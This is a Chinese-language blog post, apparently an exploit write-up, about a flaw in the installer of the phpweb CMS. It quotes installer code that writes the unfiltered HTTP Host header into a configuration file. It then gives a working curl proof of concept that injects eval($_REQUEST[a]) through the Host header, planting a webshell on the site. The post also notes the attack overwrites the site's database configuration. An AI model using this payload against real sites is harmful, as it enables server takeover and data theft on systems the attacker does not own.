phpweb成品网站最新版(注入、上传、写shell)

浏览数：17 / 时间：2015年06月09日

注入：
之所以鸡肋就是该漏洞利用安装文件重新生成配置文件写入可执行代码

鸡肋1：具有破坏性动作非常大重新写了配置文件数据库连接文件
鸡肋2：有一定安全常识的站长都会删掉 install 目录

虽然鸡肋但也有优点：不受 magic_quotes_gpc 、 webserver 影响

分析：

$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
 
$filestr = fread(fopen($SysConfigFile, ‘r‘),30000);
$filestr=str_replace(" ","",$filestr);
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
 
fwrite(fopen($ConFile,"w"),$filestr,30000);

$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^

poc

curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"

郑重声明：本站内容如果来自互联网及其他传播媒体，其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享，并不代表本站赞同其观点和对其真实性负责，也不构成任何其他建议。

phpweb成品网站最新版(注入、上传、写shell)